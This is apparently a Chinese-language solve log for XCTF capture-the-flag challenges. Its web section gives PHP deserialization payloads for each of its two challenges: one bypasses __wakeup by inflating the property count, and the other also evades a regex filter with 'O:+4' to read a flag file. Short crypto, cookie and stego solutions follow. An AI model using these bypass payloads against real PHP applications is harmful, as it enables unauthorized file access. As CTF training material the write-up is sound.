攻防世界做題記錄（4）

web

unserialize3
開啟網頁是

我不太懂然後·我搜了一下unserialize：unserialize() 對單一的已序列化的變數進行操作，將其轉換回 PHP 的值。unserialize() 函數也是php反序列化中
經常使用的函數。
__wakeup 經常用在反序列化操作中，例如重新建立資料庫連線，或執行其它初始化操作.
我把題中的程式碼複製到可以執行php的軟體中，這個程式碼不能執行需要新增別的東西我不知道該怎麼做看了一下大佬的wp.

<?php
class xctf{ 
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$a=new xctf();
echo(serialize($a));
?>
/*輸出結果為：
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
*/

然後在網頁中輸入

?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

Web_php_unserialize

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) {
    ] /*__construct()：php中魔術方法的建構函式 函數建立一個新的 SimpleXMLElement 物件。
    如果成功，則該函數返回一個物件。如果失敗，則返回 false*/
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
        /*__destruct()是php魔術方法中解構函式
        魔術方法：PHP中把以兩個下劃線__開頭的方法稱為魔術方法*/
    }
    function __wakeup() { //會返回index.php
            if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { //正規表示式
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
$A = new Demo ('fl4g.php');					
$C = serialize($A);                    
$C = str_replace('O:4','O:+4',$C);      
$C = str_replace(':1:',':2:',$C); 		
var_dump(base64_encode($C));            
?>
/*輸出結果 
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==*/

在搜尋方塊裡輸入

?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

cookie
獲取線上場景檢視網頁，根據提示檢視cookies
F12，檢視cookies，發現一個php網頁，嘗試存取
拿到新的提示，檢視響應頭，拿到flag

crypto

告訴你個祕密
636A56355279427363446C4A49454A7154534230526D6843
56445A31614342354E326C4B4946467A5769426961453067
先十六進位制轉換為ascii碼。
cjV5RyBscDlJIEJqTSB0RmhCVDZ1aCB5N2lKIFFzWiBiaE0g
base64解碼
r5yG lp9I BjM tFhBT6uh y7iJ QsZ bhM
這是就鍵盤密碼類似r5yG中間所謂的字母是t所以tj就是密碼。以此類推可以得到其他密碼就可以得到flag.

misc

stegano

pdf上寫了很多東西把他們複製然後貼上到sumbile text上在最上面顯示有A和B
然後我用培根密碼解密發現解不出來然後用摩斯密碼用A代替為.B代替為-然後解密可以得到flag